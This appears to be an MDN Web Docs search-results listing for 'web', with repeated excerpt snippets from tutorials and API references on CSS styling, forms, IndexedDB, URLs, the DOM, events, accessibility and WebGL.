web, and in this article, we'll help you understand the main techniques you need to know to master it. Prerequisites: HTML basics (study Introduction to HTML), and an idea of how CSS works (study ...
...the way we design for a multi-device
web, and in this article, we'll help you understand the main techniques you need to know to master it. Prerequisites: HTML basics (study Introduction to HTML), and an idea of how CSS works (study CSS first steps and CSS building blocks.) Objective: To understand the fundamental concepts and history of responsive design. Historic
website layouts At one point in history you had two options when designing a
website: You could create a liquid site, which would stretch to fill the browser window or a fixed width site, which would be a fixed size in pixels. ...
... Note: See this simple liquid layout: example, source code. ...
...And 10 more matches
Fundamental text and font styling - Learn web development
entals of text/font styling in detail, including setting font weight, family and style, font shorthand, text alignment and other effects, and line and letter spacing. Prerequisites: Basic computer literacy, HTML basics (study Introduction to HTML), CSS basics (study Introduction to CSS). Objective: To learn the fundamental properties and techniques needed to style text on
web pages. What is involved in styling text in CSS? As you'll have already experienced in your work with HTML and CSS, text inside an element is laid out inside the element's content box. It starts at the top left of the content area (or the top right, in the case of RTL language content), and flows towards the end of the line. Once it reaches the end, it goes down to the next line and contin...
...of nature this urban predator -- Tommy the cat had many a story to tell. But it was a rare occasion such as this that he did.</p> Font families To set a different font on your text, you use the font-family property -- this allows you to specify a font (or list of fonts) for the browser to apply to the selected elements. The browser will only apply a font if it is available on the machine the
website is being accessed on; if not, it will just use a browser default font. A simple example looks like so: p { font-family: arial; } This would make all paragraphs on a page adopt the arial font, which is found on any computer.
Web safe fonts Speaking of font availability, there are only a certain number of fonts that are generally available across all systems and can therefore be used with...
...ll just use a browser default font. A simple example looks like so: p { font-family: arial; } This would make all paragraphs on a page adopt the arial font, which is found on any computer.
Web safe fonts Speaking of font availability, there are only a certain number of fonts that are generally available across all systems and can therefore be used without much worry. ...
...And 10 more matches
Advanced form styling - Learn web development
, <optgroup> and <datalist>. <input type="color"> Date-related controls such as <input type="datetime-local"> <input type="range"> <input type="file"> <progress> and <meter> Let's first talk about the appearance property, which is pretty useful for making all of the above more stylable. appearance: controlling OS-level styling In the previous article we said that historically, styling of
web form controls was largely taken from the underlying operating system, which is part of the problem with customizing the look of these controls. The appearance property was created as a way to control what OS- or system-level styling was applied to
web form controls. Unfortunately, the behavior of this property's original implementations was very different across browsers, making it not very usab...
...was created as a way to control what OS- or system-level styling was applied to
web form controls. Unfortunately, the behavior of this property's original implementations was very different across browsers, making it not very usable. Newer implementations are more consistent in behavior; interestingly enough, both Chromium-based browsers (Chrome, Opera, Edge), Safari, and Firefox all support the -
webkit- prefixed version (-
webkit-appearance). Firefox settled on this because
web developers mostly seemed to be using the -
webkit- prefixed version, so it was better for compatibility. If you look at the reference page you'll see a lot of different possible values listed for -
webkit-appearance, however by far the most helpful value, and probably the only one you'll use, is none. This stops any co...
...</p> <p> <label for="radio">radio: </label> <input id="radio" name="radio" type="radio"> </p> <p> <label for="checkbox">checkbox: </label> <input id="checkbox" name="checkbox" type="checkbox"> </p> <p><input type="submit" value="submit"></p> <p><input type="button" value="button"></p> </form> Applying the following CSS to them removes system-level styling. input { -
webkit-appearance: none; appearance: none; } Note: It is a good idea to always include both declarations -- prefixed and unprefixed -- when using a prefixed property. Prefixed usually means "work in progress", so in the future browser vendors may come to a consensus to drop the prefix. The above code is good for future-proofing against such an eventuality. The following live example shows you w...
...And 10 more matches
nsIWebContentHandlerRegistrar
xpfe/appshell/public/nsI
WebContentHandlerRegistrar.idlScriptable Applications wishing to use
web content handlers need to implement this interface. Typically they will prompt the user to confirm adding an entry to the local list. ...
... xpfe/appshell/public/nsI
WebContentHandlerRegistrar.idlScriptable Applications wishing to use
web content handlers need to implement this interface. Typically they will prompt the user to confirm adding an entry to the local list. ...
...g to use
web content handlers need to implement this interface. Typically they will prompt the user to confirm adding an entry to the local list. ...
...And 10 more matches
nsIWebNavigationInfo
docshell/base/nsI
WebNavigationInfo.idlScriptable Exposes a way to get information on the capabilities of Gecko
web navigation objects. ...
... docshell/base/nsI
WebNavigationInfo.idlScriptable Exposes a way to get information on the capabilities of Gecko
web navigation objects. ...
... docshell/base/nsI
WebNavigationInfo.idlScriptable Exposes a way to get information on the capabilities of Gecko
web navigation objects. ...
...And 10 more matches
Introduction to the File and Directory Entries API - Web APIs
About this document This introduction discusses essential concepts and terminology in the File and Directory Entries API. It gives you the big picture and orients you to key concepts. ...
... About this document This introduction discusses essential concepts and terminology in the File and Directory Entries API. It gives you the big picture and orients you to key concepts. It also describes restrictions that raise security errors if you ignore them. ...
...pages. The specification is still being defined and is subject to change. Overview The File and Directory Entries API includes both asynchronous and synchronous versions of the interfaces. The asynchronous API can be used in cases where you don't want an outstanding operation to block the UI. The synchronous API, on the other hand, allows for simpler programming model, but it must be used with
WebWorkers. Usefulness of the API The File and Directory Entries API is an important API for the following reasons: It lets apps have offline and storage features that involve large binary blobs. It can improve performance by letting an app pre-fetch assets in the background and cache locally. It lets users of your
web app directly edit a binary file that's in their local file directory. It ...
...And 10 more matches
Using IndexedDB - Web APIs
About this document This tutorial walks you through using the asynchronous API of IndexedDB. If you are not familiar with IndexedDB, you should first read Basic Concepts About IndexedDB. For the reference documentation on the IndexedDB API, see the IndexedDB article and its subpages. This article documents the types of objects used by IndexedDB, as well as the methods of the asynchronous API (the synchronous API was removed from spec). ...
...r our belts, we can get to more concrete stuff. Creating and structuring the store Using an experimental version of IndexedDB In case you want to test your code in browsers that still use a prefix, you can use the following code: // In the following line, you should include the prefixes of implementations you want to test. ...
...g code: // In the following line, you should include the prefixes of implementations you want to test. window.indexedDB = window.indexedDB || window.mozIndexedDB || window.
webkitIndexedDB || window.msIndexedDB; // DON'T use "var indexedDB = ..." if you're not in a function. ...
...And 10 more matches
-webkit-border-before - CSS: Cascading Style Sheets
It maps to a physical border depending on the element's writing mode, directionality, and text orientation. ...
...It maps to a physical border depending on the element's writing mode, directionality, and text orientation. ...
...It maps to a physical border depending on the element's writing mode, directionality, and text orientation. ...
...And 10 more matches
What is a URL? - Learn web development
This article discusses Uniform Resource Locators (URLs), explaining what they are and how they're structured. Prerequisites: You need to first know how the Internet works, what a
Web server is and the concepts behind links on the
web. Objective: You will learn what a URL is and how it works on the
Web. Summary With Hypertext and HTTP, URL is one of the key concepts of the
Web. It is the mechanism used by browsers to retrieve any published resource on the
web. URL stands for Uniform Resource Locator. A URL is nothing more than the address of a given unique resource on the
Web. In theory, each valid URL points to a unique resource. Such resources can be an HTML page, a CSS document, an image, etc. In practice, there are some exceptions, the most commo...
... Active Learning There is no active learning available yet. ...
...unique resource on the
Web. In theory, each valid URL points to a unique resource. Such resources can be an HTML page, a CSS document, an image, etc. In practice, there are some exceptions, the most common being a URL pointing to a resource that no longer exists or that has moved. As the resource represented by the URL and the URL itself are handled by the
Web server, it is up to the owner of the
web server to carefully manage that resource and its associated URL. Active Learning There is no active learning available yet. Deeper dive Basics: anatomy of a URL Here are some examples of URLs: https://developer.mozilla.org https://developer.mozilla.org/docs/Learn/ https://developer.mozilla.org/search?q=URL Any of those URLs can be typed into your browser's address bar to tell it to load th...
...And 9 more matches
Your first form - Learn web development
Overview: Forms Next The first article in our series provides you with your very first experience of creating a
web form, including designing a simple form, implementing it using the right HTML form controls and other HTML elements, adding some very simple styling via CSS, and describing how data is sent to a server. We'll expand on each of these subtopics in more detail later on in the module. Prerequisites: Basic computer literacy, and a basic understanding of HTML. ...
...ng a simple form, implementing it using the right HTML form controls and other HTML elements, adding some very simple styling via CSS, and describing how data is sent to a server. We'll expand on each of these subtopics in more detail later on in the module. Prerequisites: Basic computer literacy, and a basic understanding of HTML. ...
...g how data is sent to a server. We'll expand on each of these subtopics in more detail later on in the module. Prerequisites: Basic computer literacy, and a basic understanding of HTML. Objective: To gain familiarity with what
web forms are, what they are used for, how to think about designing them, and the basic HTML elements you'll need for simple cases. What are
web forms?
Web forms are one of the main points of interaction between a user and a
web site or application. Forms allow users to enter data, which is generally sent to a
web server for processing and storage (see Sending form data later in the module), or used on the client-side to immediately update the interface in some way (for example, add another item to a list, or show or hide a UI feature). ...
...And 9 more matches
Introduction to events - Learn web development
In this article, we discuss some important concepts surrounding events, and look at how they work in browsers. This won't be an exhaustive study; just what you need to know at this stage. ...
...ystem you are programming -- the system produces (or "fires") a signal of some kind when an event occurs, and provides a mechanism by which an action can be automatically taken (that is, some code running) when the event occurs. For example, in an airport, when the runway is clear for take off, a signal is communicated to the pilot. As a result, the plane can safely takeoff. In the case of the
Web, events are fired inside the browser window, and tend to be attached to a specific item that resides in it -- this might be a single element, set of elements, the HTML document loaded in the current tab, or the entire browser window. There are many different types of events that can occur. For example: The user selects a certain element or hovers the cursor over a certain element. The user ch...
...fic item that resides in it -- this might be a single element, set of elements, the HTML document loaded in the current tab, or the entire browser window. There are many different types of events that can occur. For example: The user selects a certain element or hovers the cursor over a certain element. The user chooses a key on the keyboard. The user resizes or closes the browser window. A
web page finishes loading. A form is submitted. A video is played, paused, or finishes. An error occurs. You can gather from this (and from glancing at the MDN Event reference) that there are a lot of events that can be responded to. Each available event has an event handler, which is a block of code (usually a JavaScript function that you as a programmer create) that runs when the event fires.
...And 9 more matches
Introducing a complete toolchain - Learn web development
ive version of the site at near-misses.netlify.com. Tools used in our toolchain In this article we're going to use the following tools and features: JSX, a React-related set of syntax extensions that allow you to do things like defining component structures inside JavaScript. You won't need to know React to follow this tutorial, but we've included this to give you an idea of how a non-native
web language could be integrated into a toolchain. The latest built-in JavaScript features (at time of writing), such as import. Useful development tools such as Prettier for formatting and eslint for linting. PostCSS to provide CSS nesting capabilities. Parcel to build and minify our code, and to write a bunch of configuration file content automatically for us. GitHub to manage our source code ...
...y are doing, but don't panic -- we'll explain each part as we move through this article. Toolchains and their inherent complexity As with any chain, the more links you have in your toolchain, the more complex and potentially brittle it is -- for example it might be more complex to configure, and easier to break. Conversely, the fewer links, the more resilient the toolchain is likely to be. All
web projects will be different, and you need to consider what parts of your toolchain are necessary and consider each part carefully. The smallest toolchain is one that has no links at all. You would handcode the HTML, use "vanilla JavaScript" (meaning no frameworks or intermediary languages), and manually upload it all to a server for hosting. However, more complicated software requirements will l...
...superfluous tooling, with the aim of keeping complexity to a minimum. For example, we could have included a tool to minimize our SVG file sizes during build. However, this project has only 4 SVG images, which were manually minified using SVGO before adding them to the project. A couple of prerequisites Besides the tools we're going to install that contribute to our toolchain, we mentioned two
web services in the above list of tools. Let's take this opportunity to make sure we are set up with them before we continue. You will need to create accounts with each of GitHub and Netlify if you wish to complete the tutorial. As mentioned previously, GitHub is a source code repository service that adds community features such as issue tracking, following project releases and much more. In the n...
...And 9 more matches
Learn web development
Welcome to the MDN learning area. This set of articles aims to provide complete beginners to
web development with all that they need to start coding
websites. The aim of this area of MDN is not to take you from "beginner" to "expert" but to take you from "beginner" to "comfortable." From there, you should be able to start making your way, learning from the rest of MDN, and other intermediate to advanced resources that assume a lot of previous knowledge. If you are a complete beginner,
web development can be challenging -- we will hold your hand and provide enough detail for you to feel comfortable and learn the topics properly. ...
...you should be able to start making your way, learning from the rest of MDN, and other intermediate to advanced resources that assume a lot of previous knowledge. If you are a complete beginner,
web development can be challenging -- we will hold your hand and provide enough detail for you to feel comfortable and learn the topics properly. You should feel at home whether you are a student learning
web development (on your own or as part of a class), a teacher looking for class materials, a hobbyist, or someone who just wants to understand more about how
web technologies work. What's new? The content in the learning area is being added to regularly. We have started keeping Learning area release notes to show what has changed -- keep checking back frequently! If you have questions regarding t...
...to understand more about how
web technologies work. What's new? The content in the learning area is being added to regularly. We have started keeping Learning area release notes to show what has changed -- keep checking back frequently! If you have questions regarding topics you'd like to see covered or feel are missing, drop us a message on our Discourse forum. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Where to start Complete beginner: If you are a complete beginner to
web development, we'd recommend that you start by working through our Getting started with the
web module, which provides a practical introduction to
web development. Beyond the basics: If y...
...And 9 more matches
WebChannel.jsm
The
WebChannel.jsm JavaScript code module provides an abstraction that uses the Message Manager and Custom Events APIs to create a two-way communication channel between chrome and content code for specific origins (using a specific origin passed to the constructor or a lookup with nsIPermissionManager while also ensuring the scheme is HTTPS). Components.utils.import("resource://gre/modules/
WebChannel.jsm"); Constructor
WebChannel(String
webChannelId, nsIURI originOrPermission); 2nd argument is a valid origin that should be part of requests for this channel.
WebChannel(String
webChannelId, string originOrPermission); 2nd argument is a permission for which the permission manager will be checked to determine if the request is allowed. Note that in addition to the permission manager che...
...Permission); 2nd argument is a permission for which the permission manager will be checked to determine if the request is allowed. Note that in addition to the permission manager check, the request must be made over https. ...
... Note that in addition to the permission manager check, the request must be made over https. Method overview listen(Function callback); stopListening(); send(Object message, EventTarget target); Attributes id String
WebChannel id Methods listen() Registers the callback for messages on this channel. Registers the channel itself with the
WebChannelBroker. Parameters callback Callback function containing function(id, message, senderContext) parameters. ...
...And 9 more matches
Web Replay
Web Replay is no longer developed by Mozilla; however, the work continues as a standalone project. Learn more
Web Replay allows Firefox content processes to record their behavior, replay it later, and rewind to earlier states. Replaying processes preserve all the same JS behavior, DOM structures, graphical updates, and most other behaviors that occurred while recording. DevTools' Debugger and Console can be used to inspect and control the replay. Getting Started To enable
Web Replay (macOS and Firefox Nightly only), go to DevTools Settings and select "Enable
WebReplay".
Web Replay's features can only be used in a tab that is recording or replaying. There are a few ways to start recording a tab: Record current tab Open the developer tools and click the button indicated belo...
... be used in a tab that is recording or replaying. There are a few ways to start recording a tab: Record current tab Open the developer tools and click the button indicated below. This will refresh the tab and start recording. The button will be colored blue when the tab is being recorded. It can be clicked again to stop recording. Open a new tab in recording mode Click the 'Tools ->
Web Developer ->
Web Replay -> Reload and Record Tab' menu item. This has the same effect as above but can be used when the developer tools are not open. Open a saved recording in a new tab Click the 'Tools ->
Web Developer ->
Web Replay -> Open New Recording Tab' menu item to open a new blank tab that is recorded. Live Rewinding At any time while recording, the tab can be rewound to replay ear...
...An easy way to see this is to open the Debugger developer tool, press the pause button and then the rewind button. While replaying old behavior, the tab can't be interacted with. To resume recording and interacting with the tab, press the pause button and then the play button to run forward to the end of the recording. Save Recording and Replay on the Same Machine Clicking the 'Tools ->
Web Developer ->
Web Replay -> Save Recording' menu item when a recording tab is open will allow the entire recording to be saved to a file. Clicking the 'Tools ->
Web Developer ->
Web Replay -> Load Recording in New Tab' menu item will start a new tab which replays the recording to the end. The developer tools can be used to interact with this tab in the same way as a recording tab, though playing...
...And 9 more matches
nsIWebSocketChannel
nsI
WebSocketChannel netwerk/protocol/
websocket/nsI
WebSocketChannel.idlScriptable Provides support for
WebSocket channels. 1.0 66 Introduced Gecko 8.0 Inherits from: nsISupports Last changed in Gecko 8.0 (Firefox 8.0 / Thunderbird 8.0 / SeaMonkey 2.5) Implemented by: ?????????????????????????????????????. ...
... nsI
WebSocketChannel netwerk/protocol/
websocket/nsI
WebSocketChannel.idlScriptable Provides support for
WebSocket channels. 1.0 66 Introduced Gecko 8.0 Inherits from: nsISupports Last changed in Gecko 8.0 (Firefox 8.0 / Thunderbird 8.0 / SeaMonkey 2.5) Implemented by: ?????????????????????????????????????. ...
...ket channels. 1.0 66 Introduced Gecko 8.0 Inherits from: nsISupports Last changed in Gecko 8.0 (Firefox 8.0 / Thunderbird 8.0 / SeaMonkey 2.5) Implemented by: ?????????????????????????????????????. ...
...And 9 more matches
Introduction to the DOM - Web APIs
What is the DOM? The Document Object Model (DOM) is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style, and content. The DOM represents the document as nodes and objects. That way, programming languages can connect to the page. ...
... XML document in memory and how you use APIs to create
web content and applications. What is the DOM? The Document Object Model (DOM) is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style, and content. The DOM represents the document as nodes and objects. That way, programming languages can connect to the page. A
Web page is a document. This document can be either displayed in the browser window or as the HTML source. But it is the same document in both cases. The Document Object Model (DOM) represents that same document so it can be manipulated. The DOM is an object-oriented representation of the
web page, which can be modified with a scripting language such as JavaScript. The W3C DOM and WHATWG DOM standar...
...ent in both cases. The Document Object Model (DOM) represents that same document so it can be manipulated. The DOM is an object-oriented representation of the
web page, which can be modified with a scripting language such as JavaScript. The W3C DOM and WHATWG DOM standards are implemented in most modern browsers. Many browsers extend the standard, so care must be exercised when using them on the
web where documents may be accessed by various browsers with different DOMs. For example, the standard DOM specifies that the getElementsByTagName method in the code below must return a list of all the <p> elements in the document: const paragraphs = document.getElementsByTagName("p"); // paragraphs[0] is the first <p> element // paragraphs[1] is the second <p> element, etc. alert(paragraphs[0].nod...
...And 9 more matches
Force Touch events - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. Force Touch events are a proprietary, Apple-specific feature which makes possible (where supported by the input hardware) new interactions based on how hard the user clicks or presses down on the touchscreen or trackpad. Events
webkitmouseforcewillbegin This event is fired before the mousedown event. Its main use is that it can be Event.preventDefault()ed. ...
...s facing the
Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future. Force Touch events are a proprietary, Apple-specific feature which makes possible (where supported by the input hardware) new interactions based on how hard the user clicks or presses down on the touchscreen or trackpad. ...
...ay change in the future. Force Touch events are a proprietary, Apple-specific feature which makes possible (where supported by the input hardware) new interactions based on how hard the user clicks or presses down on the touchscreen or trackpad. Events
webkitmouseforcewillbegin This event is fired before the mousedown event. Its main use is that it can be Event.preventDefault()ed. ...
...And 9 more matches
SVGCircleElement - Web APIs
The SVGCircleElement interface is an interface for the <circle> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 9 more matches
URLUtilsReadOnly - Web APIs
dOnly.toString() Returns a DOMString containing the whole URL. It is a synonym for URLUtilsReadOnly.href. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...port 57 No support 3.5 -- 57Notes Notes Firefox has a bug whereby single quotes contained in URLs are escaped when accessed via URL APIs (see bug 1386683).IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 57 Full support 57 No support 4 -- 57Notes Notes Firefox has a bug whereby single quotes contained in URLs are ...
... Full support 38 No support 3.5 -- 38Notes Notes Before Firefox 38, Firefox returned the hash percent encoded. This has been fixed to match the spec.IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 38 Full support 38 No support 4 -- 38Notes Notes Before Firefox 38, Firefox returned the hash percent encoded. ...
...And 9 more matches
Accessibility Information for Web Authors - Accessibility
Other organizations such as schools are starting to follow these guidelines as well.
Web Content Accessibility Guidelines (WCAG) 1.0 Another important set of guidelines from the W3C
Web Accessibility Initiative (WAI). The European Union is looking to base their upcoming accessibility regulations on these guidelines. These guidelines are discussed on the WAI interest group discussion list. ...
... Union is looking to base their upcoming accessibility regulations on these guidelines. These guidelines are discussed on the WAI interest group discussion list. How-to's Key-navigable custom DHTML widgets in Mozilla & IE This document discusses how to use tabindex, element.focus() and onkeypress to make custom DHTML widgets such as menus or tree views keyboard accessible. Accessible
Web Page Authoring IBM has put together a simple, practical resource for
web authors to learn accessibility the fast and painless way. Highly recommended, an excellent resource. Dive Into Accessibility by Mark Pilgrim An excellent, easy-to-understand resource (available in English and in 9 other languages) on accessible
website authoring, which goes into greater depth. In 30 days, you will kno...
...ring IBM has put together a simple, practical resource for
web authors to learn accessibility the fast and painless way. Highly recommended, an excellent resource. Dive Into Accessibility by Mark Pilgrim An excellent, easy-to-understand resource (available in English and in 9 other languages) on accessible
website authoring, which goes into greater depth. In 30 days, you will know why your
website should be accessible and how to make it more accessible. Automated Checking & Repair Cynthia says(TM) from HiSoftware(R) Company "Cynthia says(TM)" is a free online
webpage accessibility validation service that is designed to identify errors in
webpage related to Section 508 standards and/or the WCAG guidelines. It can perform a "Complete
Webpage Quality Check" for accessibility, pr...
...And 9 more matches
-webkit-mask-position-x - CSS: Cascading Style Sheets
The -
webkit-mask-position-x CSS property sets the initial horizontal position of a mask image. ...
... The -
webkit-mask-position-x CSS property sets the initial horizontal position of a mask image. ...
... The -
webkit-mask-position-x CSS property sets the initial horizontal position of a mask image. ...
...And 9 more matches
-webkit-mask-position-y - CSS: Cascading Style Sheets
The -
webkit-mask-position-y CSS property sets the initial vertical position of a mask image. ...
... The -
webkit-mask-position-y CSS property sets the initial vertical position of a mask image. ...
... The -
webkit-mask-position-y CSS property sets the initial vertical position of a mask image. ...
...And 9 more matches
3D games on the Web - Game development
Support on modern browsers is very good, even on mobile, so you don't have to worry about that too much. The main browsers are all supporting
WebGL and all you need to focus on is optimizing the performance on the devices you use. ...
... For rich gaming experiences on the
web, the weapon of choice is
WebGL, which is rendered on HTML <canvas>.
WebGL is basically an OpenGL ES 2.0 for the
Web -- it's a JavaScript API providing tools to build rich interactive animations and of course, also games. You can generate and render dynamic 3D graphics with JavaScript that is hardware accelerated. Documentation and browser support The
WebGL project documentation and specification is maintained by the Khronos Group, not the W3C as with most of the
web APIs. Support on modern browsers is very good, even on mobile, so you don't have to worry about that too much. ...
...You can generate and render dynamic 3D graphics with JavaScript that is hardware accelerated. Documentation and browser support The
WebGL project documentation and specification is maintained by the Khronos Group, not the W3C as with most of the
web APIs. Support on modern browsers is very good, even on mobile, so you don't have to worry about that too much. The main browsers are all supporting
WebGL and all you need to focus on is optimizing the performance on the devices you use. There's an ongoing effort on releasing
WebGL 2.0 (based on OpenGL ES 3.0) in the near future, which will bring many improvements and will help developers build games for the modern
web using current, powerful hardware. Explaining the basic 3D theory The basics of 3D theory centers around shapes represented in ...
...And 8 more matches
CSS and JavaScript accessibility best practices - Learn web development
Previous Overview: Accessibility Next CSS and JavaScript, when used properly, also have the potential to allow for accessible
web experiences ... or they can significantly harm accessibility if misused. This article outlines some CSS and JavaScript best practices that should be considered to ensure even complex content is as accessible as possible. Prerequisites: Basic computer literacy, a basic understanding of HTML, CSS, and JavaScript, and understanding of what accessibility is. Objective: To gain familiarity with using CSS and JavaScript appropriately in your
web documents to maximise accessibility and not detract from it. CSS and JavaScript are accessible? CSS and JavaScript don't have the same immediate importance for accessibility as HTML, but...
...g, em { color: #a60000; } You will however rarely need to style emphasis elements in any significant way. The standard conventions of bold and italic text are very recognisable, and changing the style can cause confusion. For more on emphasis, see Emphasis and importance. Abbreviations An element that allows an abbreviation, acronym, or initialization to be associated with its expansion: <p>
Web content is marked up using <abbr title="Hypertext Markup Language">HTML</abbr>.</p> Again, you might want to style it in some simple way: abbr { color: #a60000; } The recognised styling convention for abbreviations is a dotted underline, and it is unwise to significantly deviate from this. For more on abbreviations, see Abbreviations. Links Hyperlinks -- the way you get to new places on th...
...ontent is marked up using <abbr title="Hypertext Markup Language">HTML</abbr>.</p> Again, you might want to style it in some simple way: abbr { color: #a60000; } The recognised styling convention for abbreviations is a dotted underline, and it is unwise to significantly deviate from this. For more on abbreviations, see Abbreviations. ...
...And 8 more matches
What is CSS? - Learn web development
Overview: First steps Next CSS (Cascading Style Sheets) allows you to create great-looking
web pages, but how does it work under the hood? This article explains what CSS is, with a simple syntax example, and also covers some key terms about the language. Prerequisites: Basic computer literacy, basic software installed, basic knowledge of working with files, and HTML basics (study Introduction to HTML.) Objective: To learn what CSS is. In the Introduction to HTML module we covered what HTML is, and how it is used to mark up documents. These documents will be readable in a
web browser. Headings will look larger than regular text, paragraphs break onto a new line and have space between them. Links are colored and underlined to distinguish them from the re...
...arger than regular text, paragraphs break onto a new line and have space between them. Links are colored and underlined to distinguish them from the rest of the text. What you are seeing is the browser's default styles -- very basic styles that the browser applies to HTML to make sure it will be basically readable even if no explicit styling is specified by the author of the page. However, the
web would be a boring place if all
websites looked like that. Using CSS you can control exactly how HTML elements look in the browser, presenting your markup using whatever design you like. For more on browser/default styles, check out the following video: What is CSS for? As we have mentioned before, CSS is a language for specifying how documents are presented to users -- how they are styled, l...
...xample turning a single column of text into a layout with a main content area and a sidebar for related information. It can even be used for effects such as animation. Have a look at the links in this paragraph for specific examples. CSS syntax CSS is a rule-based language -- you define rules specifying groups of styles that should be applied to particular elements or groups of elements on your
web page. For example "I want the main heading on my page to be shown as large red text." The following code shows a very simple CSS rule that would achieve the styling described above: h1 { color: red; font-size: 5em; } The rule opens with a selector . This selects the HTML element that we are going to style. In this case we are styling level one headings (<h1>). We then have a set of cu...
...And 8 more matches
What text editors are available? - Learn web development
Ideally, you'd try as many editors as you can and get a feel for what suits your workflow. ...
...Ideally, you'd try as many editors as you can and get a feel for what suits your workflow. ...
...Ideally, you'd try as many editors as you can and get a feel for what suits your workflow. ...
...And 8 more matches
How does the Internet work? - Learn web development
At its most basic, the Internet is a large network of computers which communicate all together. ...
...At its most basic, the Internet is a large network of computers which communicate all together. ...
...At its most basic, the Internet is a large network of computers which communicate all together. ...
...And 8 more matches
Fetching data from the server - Learn web development
Previous Overview: Client-side
web APIs Next Another very common task in modern
websites and applications is retrieving individual data items from the server to update sections of a
webpage without having to load an entire new page. This seemingly small detail has had a huge impact on the performance and behavior of sites, so in this article, we'll explain the concept and look at technologies that make it possible, such as XMLHttpRequest and the Fetch API. Prerequisites: JavaScript basics (see first steps, building blocks, JavaScript objects), the basics of Client-side APIs Objective: To learn how to fetch data from the server and use it to update the contents of a
web page. ...
... look at technologies that make it possible, such as XMLHttpRequest and the Fetch API. Prerequisites: JavaScript basics (see first steps, building blocks, JavaScript objects), the basics of Client-side APIs Objective: To learn how to fetch data from the server and use it to update the contents of a
web page. What is the problem here? Originally page loading on the
web was simple -- you'd send a request for a
website to a server, and as long as nothing went wrong, the assets that made the
web page would be downloaded and displayed on your computer. The trouble with this model is that whenever you want to update any part of the page, for example, to display a new set of products or load a new page, you've got to load the entire page again. This is extremely w...
...ayed on your computer. The trouble with this model is that whenever you want to update any part of the page, for example, to display a new set of products or load a new page, you've got to load the entire page again. This is extremely wasteful and results in a poor user experience, especially as pages get larger and more complex. ...
...And 8 more matches
Properly configuring server MIME types - Learn web development
This article may contain out of date information, as it has not been significantly updated in many years. Background By default, many
web servers are configured to report a MIME type of text/plain or application/octet-stream for unknown content types. As new content types are invented or added to
web servers,
web administrators may fail to add the new MIME types to their
web server's configuration. This is a major source of problems for users of Gecko-based browsers, which respect the MIME types as reported by
web servers and
web applications. What are MIME types? MIME types describe the media type of content either in email or served by
web servers or
web applications and are intended to help guide a
web browser in how the content is to be processed and displayed. Examples of M...
...oblems for users of Gecko-based browsers, which respect the MIME types as reported by
web servers and
web applications. What are MIME types? MIME types describe the media type of content either in email or served by
web servers or
web applications and are intended to help guide a
web browser in how the content is to be processed and displayed. Examples of MIME types are: text/html for normal
web pages text/plain for plain text text/css for Cascading Style Sheets text/javascript for scripts application/octet-stream meaning "download this file" application/x-java-applet for Java applets application/pdf for PDF documents Technical Background Registered values for MIME types are available in IANA | MIME Media Types. The HTTP specification defines a superset of MIME which is used to ...
...xt/css for Cascading Style Sheets text/javascript for scripts application/octet-stream meaning "download this file" application/x-java-applet for Java applets application/pdf for PDF documents Technical Background Registered values for MIME types are available in IANA | MIME Media Types. The HTTP specification defines a superset of MIME which is used to describe the media types used on the
web. ...
...And 8 more matches
IDBCursorWithValue - Web APIs
is increasing or decreasing in the order of record keys. The cursor enables an application to asynchronously process all the records in the cursor's range. You can have an unlimited number of cursors at the same time. You always get the same IDBCursorWithValue object representing a given cursor. Operations are performed on the underlying index or object store. ...
...index or object store. Note: This feature is available in
Web Workers. ...
...h="90" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="46" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">IDBCursor</text></a><polyline points="91,25 101,20 101,30 91,25" stroke="#D4DDE4" fill="none"/><line x1="101" y1="25" x2="131" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/IDBCursorWithValue" target="_top"><rect x="131" y="1" width="180" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">IDBCursorWithValue</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Metho...
...And 8 more matches
OffscreenCanvas.getContext() - Web APIs
The OffscreenCanvas.getContext() method returns a drawing context for an offscreen canvas, or null if the context identifier is not supported. Note: This API is currently implemented for
WebGL1 and
